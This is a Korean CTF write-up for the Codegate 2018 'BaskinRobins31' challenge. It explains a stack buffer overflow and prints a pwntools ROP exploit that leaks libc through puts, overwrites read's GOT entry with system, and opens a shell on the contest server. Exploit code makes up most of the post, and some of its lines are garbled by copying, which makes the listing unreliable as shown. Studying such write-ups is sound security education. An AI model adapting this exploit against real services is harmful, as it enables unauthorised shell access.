System&Write up/CTF

[Codegate 2018] BaskinRobins31

Jubil 2018. 2. 9. 17:00
반응형

[Codegate 2018] BaskinRobins31

                                                                                                    -Jubil(|BAOBOB|)


 

64bit 바이너리이고, canary가 없습니다.

 


 

main 함수입니다. 일단 소켓이 아니기 때문에 socket descriptor가 아닌 stdinstdout으로 입출력을 해줍시다.

 

밑에 HintROP라고 나옵니다.

그리고 베라 게임 이기려고 하면 규칙을 어기고 숫자를 4개씩 불러버립니다.

 

하지만 신경 쓰지 말고 저희가 입력할 수 있는 함수, your_turn을 분석하겠습니다.

 

 

 

 


 

그냥 read에서 BOF가 터집니다.

쉽게 취약점을 구했으니 ex 코드를 짜러 갑시다.

 

일단 0xb0(176)SFP(8)을 고려하면 return address184byte 뒤에 있을 것입니다.

 

64bit 리눅스에서는

RDI : 첫번째 인자

RSI : 두번째 인자

RDX : 세번째 인자

RCX : 네번째 인자

 

R8 : 다섯번째 인자

R9 : 여섯번째 인자

 

이렇게 6개의 레지스터를 사용하고 인자가 7개 이상일 경우부터는 스택을 같이 사용합니다.

 

그래서 보면 system 함수는 바이너리에 없고, readwrite, puts를 사용해서 libc_base를 구하고, read_gotsystem으로 바꿔서 쉘을 실행하겠습니다.

 

그럼 가젯이 필요한데요, readwrite는 인자가 3개이므로 pop rdi ; pop rsi ; pop rdx ; ret

putspop rdi ; ret이 필요합니다.

 

 


 

rp++로 분석해보면 찾던 두 개의 가젯이 있습니다.

 

 

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

from pwn import *

 

#s = remote('localhost', 3131)

= remote("ch41l3ng3s.codegate.kr"3131)

= ELF('./BaskinRobins31')

 

puts_plt = e.plt['puts']

read_plt = e.plt['read']

read_got = e.got['read']

write_plt = e.plt['write']

 

cmd = '/bin/sh'

 

offset_read = 0xf7250

offset_system = 0x45390

 

prdir = 0x00400bc3

prdirsirdxr = 0x0040087a

 

#176+8

payload = ""

payload += 'A'*184

 

#Output read got

payload += p64(prdir)

payload += p64(read_got)

payload += p64(puts_plt)

 

#Input /bin/sh

payload += p64(prdirsirdxr)

payload += p64(0)

payload += p64(e.bss())

payload += p64(len(cmd))

payload += p64(read_plt)

 

#Input system -> read got

payload += p64(prdirsirdxr)

payload += p64(0)

payload += p64(read_got)

payload += p64(8)

payload += p64(read_plt)

 

#Call read_plt(system)

payload += p64(prdir)

payload += p64(e.bss())

payload += p64(read_plt)

print len(payload)

 

s.sendlineafter('(1-3)\n', payload)

s.recvuntil(':( \n')

sleep(0.1)

 

read_add = u64(s.recv(6+ '\x00\x00')

libc_base = read_add - offset_read

system_add = libc_base + offset_system

 

print "[+] read_add : " + hex(read_add)

print "[+] libc_base : " + hex(libc_base)

print "[+] system_add : " + hex(system_add)

 

sleep(0.1)

s.send(cmd)

sleep(0.1)

s.send(p64(system_add))

 

s.interactive()

cs

 

64bit ROP는 처음이라 고생 좀 했습니다.

 

 


 

쉘을 취득하고 flag도 받아왔습니다.

 

flag : The Korean name of "Puss in boots" is "My mom is an alien"

반응형

'System&Write up > CTF' 카테고리의 다른 글

[TAMUctf 2018] pwn1 ~ pwn5  (0) 2018.02.27
[OpenCTF 2016] tyro_heap  (0) 2018.02.22
[Codegate 2014] nuclear  (0) 2018.01.31
[HDCON 2013] luckyzzang  (0) 2018.01.30
[Codegate 2014] angry_doraemon  (0) 2018.01.30